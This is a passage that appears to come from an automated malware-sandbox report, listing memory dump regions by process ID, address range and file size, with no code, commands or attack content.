                                                                                                                                                                                                          • memory/2672-404-0x000000007F350000-0x000000007F351000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-330-0x0000000008C20000-0x0000000008C21000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-366-0x0000000005235000-0x0000000005237000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/2672-497-0x0000000005237000-0x0000000005238000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-189-0x0000000005170000-0x0000000005171000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-186-0x0000000005170000-0x0000000005171000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2672-260-0x0000000005232000-0x0000000005233000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-277-0x00000000075A0000-0x00000000075A1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-364-0x00000000048C5000-0x00000000048C7000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/2928-314-0x0000000007F70000-0x0000000007F71000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-272-0x00000000048C2000-0x00000000048C3000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-282-0x0000000007890000-0x0000000007891000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-279-0x00000000075D0000-0x00000000075D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-297-0x0000000007B20000-0x0000000007B21000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-287-0x0000000007720000-0x0000000007721000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-192-0x00000000042D0000-0x00000000042D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-385-0x000000007FA80000-0x000000007FA81000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-188-0x00000000042D0000-0x00000000042D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-289-0x0000000007790000-0x0000000007791000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2928-227-0x00000000048C0000-0x00000000048C1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/2936-298-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            80KB

                                                                                                                                                                                                          • memory/3004-462-0x0000000004F80000-0x000000000502C000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            688KB

                                                                                                                                                                                                          • memory/3004-461-0x0000000004E20000-0x0000000004ECD000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            692KB

                                                                                                                                                                                                          • memory/3208-525-0x0000000002DF0000-0x0000000002F15000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.1MB

                                                                                                                                                                                                          • memory/3208-367-0x0000000008480000-0x00000000085EF000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.4MB

                                                                                                                                                                                                          • memory/3260-281-0x000000001AF20000-0x000000001AF22000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/3260-261-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/3472-256-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/3472-252-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/3864-601-0x00000000060C0000-0x000000000620C000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                          • memory/3952-445-0x00000000021C0000-0x000000000223B000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            492KB

                                                                                                                                                                                                          • memory/3952-447-0x0000000002240000-0x0000000002315000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            852KB

                                                                                                                                                                                                          • memory/4044-577-0x000001FAACE23000-0x000001FAACE25000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/4044-576-0x000001FAACE20000-0x000001FAACE22000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/4044-589-0x000001FAACE26000-0x000001FAACE28000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/4284-631-0x0000000005840000-0x0000000005E42000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                          • memory/4352-371-0x0000000003010000-0x0000000003018000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            32KB

                                                                                                                                                                                                          • memory/4352-373-0x0000000004BD0000-0x0000000004BD9000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            36KB

                                                                                                                                                                                                          • memory/4512-214-0x00000000000C0000-0x00000000000C1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4512-295-0x0000000005120000-0x0000000005121000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4512-268-0x0000000004B60000-0x0000000004B61000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4512-271-0x00000000049A0000-0x00000000049A1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4512-255-0x00000000049D0000-0x00000000049D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4528-283-0x0000000002900000-0x0000000002901000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4528-258-0x00000000005D0000-0x00000000005D1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4664-266-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4664-280-0x0000000002250000-0x0000000002251000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/4664-285-0x000000001AEF0000-0x000000001AEF2000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            8KB

                                                                                                                                                                                                          • memory/4784-264-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            80KB

                                                                                                                                                                                                          • memory/5000-396-0x0000000001250000-0x0000000001251000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5044-381-0x0000000003130000-0x0000000003159000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            164KB

                                                                                                                                                                                                          • memory/5044-394-0x0000000004C60000-0x0000000004CAA000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            296KB

                                                                                                                                                                                                          • memory/5128-387-0x00000000020A0000-0x0000000002117000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            476KB

                                                                                                                                                                                                          • memory/5128-400-0x0000000002230000-0x00000000022B3000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            524KB

                                                                                                                                                                                                          • memory/5168-309-0x0000000000700000-0x0000000000701000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5188-311-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            128KB

                                                                                                                                                                                                          • memory/5204-334-0x0000000005170000-0x0000000005788000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            6.1MB

                                                                                                                                                                                                          • memory/5204-315-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            120KB

                                                                                                                                                                                                          • memory/5204-319-0x0000000005790000-0x0000000005791000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5204-332-0x0000000005290000-0x0000000005291000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5204-327-0x0000000005470000-0x0000000005471000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5204-326-0x0000000005360000-0x0000000005361000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5204-322-0x0000000005230000-0x0000000005231000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/5212-469-0x0000000009050000-0x0000000009668000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            6.1MB

                                                                                                                                                                                                          • memory/5636-598-0x00000000063F0000-0x000000000653C000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                          • memory/5984-559-0x0000000001130000-0x0000000001160000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            192KB

                                                                                                                                                                                                          • memory/6096-363-0x00000000018A0000-0x00000000018B1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            68KB

                                                                                                                                                                                                          • memory/6096-362-0x00000000018F0000-0x0000000001C46000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            3.3MB

                                                                                                                                                                                                          • memory/6128-392-0x0000000000690000-0x00000000006B7000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            156KB

                                                                                                                                                                                                          • memory/6128-410-0x0000000002180000-0x00000000021C4000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            272KB

                                                                                                                                                                                                          • memory/6512-628-0x0000000002530000-0x0000000002590000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            384KB

                                                                                                                                                                                                          • memory/6512-629-0x0000000002970000-0x0000000002971000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB

                                                                                                                                                                                                          • memory/6512-630-0x00000000027B0000-0x00000000027B1000-memory.dmp

                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                            4KB